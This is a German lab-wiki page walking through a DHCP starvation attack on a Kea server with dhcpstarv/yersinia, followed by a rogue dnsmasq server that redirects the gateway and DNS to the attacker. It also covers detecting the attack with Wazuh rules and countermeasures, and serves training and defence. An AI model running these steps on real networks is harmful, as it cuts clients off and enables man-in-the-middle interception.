Thomas.will: Die Seite wurde neu angelegt: „= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP = In diesem Szenario wird der Lease-Pool eines legitimen Kea-DHCP-Servers durch eine Starvation…“

2026-06-26T05:42:38Z

Die Seite wurde neu angelegt: „= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP = In diesem Szenario wird der Lease-Pool eines legitimen Kea-DHCP-Servers durch eine Starvation…“

Neue Seite

= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP =

In diesem Szenario wird der Lease-Pool eines legitimen [[Kea]]-DHCP-Servers durch eine Starvation-Attacke erschöpft. Sobald Kea keine Adressen mehr vergeben kann, übernimmt ein untergeschobener (''rogue'') DHCP-Server auf der Angreifer-Maschine die Adressvergabe und biegt Gateway und DNS auf den Angreifer um. Abschließend wird gezeigt, wie sich der Angriff in den Kea-Logs bzw. im [[Wazuh]]-SIEM nachweisen lässt.

;Warnung: Nur im isolierten Laborsegment ausführen. Eine Starvation-Flut legt im Produktivnetz die DHCP-Versorgung für alle Clients lahm.

== Szenario ==

{| class="wikitable"
! Rolle !! Host !! IP !! Dienst
|-
| Legitimer DHCP || kea.it.int || 10.0.10.1 || Kea DHCP4
|-
| Angreifer || kali-innen || 10.0.10.101 || dnsmasq (Rogue), dhcpstarv
|-
| Opfer || client2XX || per DHCP || frischer Lease-Bezug
|}

Alle Hosts liegen in derselben Broadcast-Domain (gleiches VLAN). Das ist Pflicht, da DHCPDISCOVER/REQUEST Broadcasts sind und ohne DHCP-Relay nicht über die L3-Grenze hinauskommen.

== Voraussetzungen ==

* Drei Maschinen im selben Segment (Kea-Server, Kali, Opfer-Client)
* Auf der Kali: <code>dnsmasq</code>, <code>dhcpstarv</code> bzw. <code>yersinia</code>
* Schreibzugriff auf die Kea-Konfiguration für die Vorbereitung der Demo

== Phase 1: Aufklärung ==

Vorhandenen DHCP-Server und seinen Pool sichtbar machen:

* <code>nmap --script broadcast-dhcp-discover</code>

Liefert den antwortenden Server, das angebotene Gateway, den DNS und die Lease-Time — also genau die Werte, die der Rogue-Server später nachbilden bzw. überschreiben soll.

== Phase 2: Kea für die Demo vorbereiten ==

Damit die Starvation im Labor '''deterministisch''' funktioniert, zwei Stellschrauben in der Kea-Konfiguration. Entscheidend ist <code>match-client-id</code>:

;match-client-id (Default true): Kea identifiziert einen Client primär über die Client-ID (Option 61), erst danach über die MAC. Sendet ein Starvation-Tool über alle Pakete dieselbe Client-ID, ordnet Kea sie demselben Lease zu — die Attacke verpufft. Auf <code>false</code> gesetzt, schlüsselt Kea ausschließlich über die MAC (<code>chaddr</code>), und jede neue gefälschte MAC erzwingt einen neuen Lease.

;Poolgröße: Für eine schnell sichtbare Demo den Pool klein halten, sonst dauert das Leersaugen unnötig lange.

<syntaxhighlight lang="json">
{
"Dhcp4": {
"interfaces-config": { "interfaces": [ "eth0" ] },
"match-client-id": false,
"valid-lifetime": 600,
"subnet4": [
{
"id": 1,
"subnet": "10.0.10.0/24",
"pools": [ { "pool": "10.0.10.50 - 10.0.10.60" } ],
"option-data": [
{ "name": "routers", "data": "10.0.10.1" },
{ "name": "domain-name-servers", "data": "10.0.10.1" }
]
}
]
}
}
</syntaxhighlight>

Elf Adressen (.50–.60), niedrige <code>valid-lifetime</code> — der Pool ist in Sekunden erschöpft.

* <code>systemctl restart kea-dhcp4-server</code>

== Phase 3: Starvation ==

Den Kea-Pool von der Kali aus leersaugen. <code>dhcpstarv</code> variiert die Quell-MAC und fordert für jede einen neuen Lease an:

* <code>dhcpstarv -i eth0</code>

Alternativ mit yersinia (interaktiv, DHCP → ''sending DISCOVER packet''):

* <code>yersinia -I</code>

Kontrolle auf dem Kea-Server — der Pool füllt sich mit fremden Leases:

* <code>kea-admin lease-dump</code> bzw. Blick in die Lease-Datei <code>/var/lib/kea/kea-leases4.csv</code>

Sobald alle elf Adressen vergeben sind, beantwortet Kea neue DISCOVER nicht mehr mit einem Angebot.

== Phase 4: Rogue-DHCP übernimmt ==

Jetzt ist Kea „taub“ und der dnsmasq auf der Kali ist der einzige, der noch Adressen vergibt. Gateway und DNS zeigen auf den Angreifer:

<syntaxhighlight lang="ini">
interface=eth0
bind-interfaces
dhcp-range=10.0.10.150,10.0.10.200,255.255.255.0,12h
dhcp-option=3,10.0.10.101
dhcp-option=6,10.0.10.101
server=8.8.8.8
log-queries
log-dhcp
</syntaxhighlight>

;dhcp-option=3: Gateway → Angreifer (.101)
;dhcp-option=6: DNS → Angreifer (.101)

* <code>dnsmasq -C dnsmasq.conf -d</code>

Der Bereich .150–.200 überschneidet sich nicht mit dem Kea-Pool, damit kein Adresskonflikt die Demo stört.

== Phase 5: Nachweis am Client ==

Auf dem Opfer-Client einen frischen Bezug erzwingen — ein bestehender Lease wird nicht sofort gewechselt:

* Linux: <code>dhclient -r && dhclient</code>
* Windows: <code>ipconfig /release && ipconfig /renew</code>

Prüfen, dass Gateway und DNS jetzt auf <code>10.0.10.101</code> zeigen:

* <code>ip route</code> und <code>resolvectl status</code>

Ab hier läuft der gesamte Traffic des Clients über die Angreifer-Box — Grundlage für [[MitM]], DNS-Spoofing oder einen transparenten Proxy.

== Phase 6: Erkennung im SIEM ==

Kea protokolliert jede Lease-Vergabe. Die Starvation erzeugt eine charakteristische '''Lawine''' an Lease-Events von ständig wechselnden MACs in kurzer Zeit.

Relevante Kea-Logmeldungen:

;DHCP4_LEASE_ADVERT: Antwort auf einen DISCOVER (Angebot)
;DHCP4_LEASE_ALLOC: Lease nach REQUEST fest vergeben
;Allocation-Failure: Sobald der Pool voll ist, meldet Kea, dass kein freier Lease mehr vergeben werden kann — diese Zeilen markieren den Moment der erfolgreichen Starvation.

Kea-Logging in eine Datei lenken, die der Wazuh-Agent einliest:

<syntaxhighlight lang="json">
"loggers": [
{
"name": "kea-dhcp4.leases",
"output-options": [ { "output": "/var/log/kea/kea-dhcp4.log" } ],
"severity": "INFO"
}
]
</syntaxhighlight>

In der <code>ossec.conf</code> des Agenten:

<syntaxhighlight lang="xml">
<localfile>
<log_format>syslog</log_format>
<location>/var/log/kea/kea-dhcp4.log</location>
</localfile>
</syntaxhighlight>

Erkennungslogik: nicht der einzelne Lease ist verdächtig, sondern die '''Frequenz'''. Eine Wazuh-Regel mit <code>frequency</code>/<code>timeframe</code> schlägt an, wenn in wenigen Sekunden überdurchschnittlich viele Lease-Vergaben auftreten:

<syntaxhighlight lang="xml">
<group name="kea,dhcp,">
<rule id="100600" level="3">
<decoded_as>kea</decoded_as>
<match>DHCP4_LEASE_ALLOC</match>
<description>Kea: Lease vergeben</description>
</rule>

<rule id="100601" level="10" frequency="30" timeframe="20">
<if_matched_sid>100600</if_matched_sid>
<description>Moegliche DHCP-Starvation: ungewoehnlich viele Lease-Vergaben</description>
<mitre>
<id>T1498</id>
</mitre>
</rule>
</group>
</syntaxhighlight>

(Schwellwert <code>frequency</code>/<code>timeframe</code> an die Poolgröße und das normale Lease-Aufkommen im Segment anpassen.)

== Gegenmaßnahmen ==

;DHCP Snooping: Auf einem gemanagten Switch der Standardschutz. Nur der Uplink-Port zum echten Kea-Server wird als ''trusted'' markiert; auf allen anderen Ports werden Server-Antworten (OFFER/ACK) verworfen. Damit fällt der Rogue-dnsmasq sofort durch.
;Port Security: Begrenzung der MAC-Adressen pro Port fängt die MAC-Flut der Starvation ab.
;Rate-Limiting: DHCP-Pakete pro Port limitieren.

== Siehe auch ==

* [[Kea]]
* [[Wazuh]]
* [[Suricata]]
* [[MitM]]
* [[DNS-Spoofing]]

DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP - Versionsgeschichte

Thomas.will: Die Seite wurde neu angelegt: „= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP = In diesem Szenario wird der Lease-Pool eines legitimen Kea-DHCP-Servers durch eine Starvation…“